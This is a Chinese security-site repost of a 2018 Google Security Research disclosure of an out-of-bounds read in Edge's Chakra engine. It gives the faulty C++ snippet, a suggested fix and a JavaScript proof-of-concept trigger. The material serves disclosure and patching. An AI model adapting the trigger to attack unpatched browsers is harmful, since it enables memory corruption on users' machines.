首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read
来源:Google Security Research 作者:Google 发布时间:2018-01-12  
/*
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.
 
growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
    ((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
 
In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
*/
 
function trigger() {
    let arr = [1.1];
    let i = 0;
    for (; i < 1000; i += 0.5) {
        arr[i + 0x7777] = 2.0;
    }
 
    arr[1001] = 35480.0;
 
    for (; i < 0x7777; i++) {
        arr[i] = 1234.3;
    }
}
 
for (let i = 0; i < 100; i++) {
    trigger();
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·macOS - 'process_policy' Stack
·Microsoft Windows - NTFS Owner
·Parity Browser < 1.6.10 - Bypa
·D-Link Routers 110/412/615/815
·SAP NetWeaver J2EE Engine 7.40
·ALLMediaServer 0.95 Stack Buff
·LabF nfsAxe 3.7 FTP Client Sta
·Samsung SRN-1670D Web Viewer 1
·phpCollab 2.5.1 Unauthenticate
·TP-Link Remote Command Injecti
·Polygonize PC 1.1 Remote Comma
·Jungo Windriver 12.5.1 - Privi
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved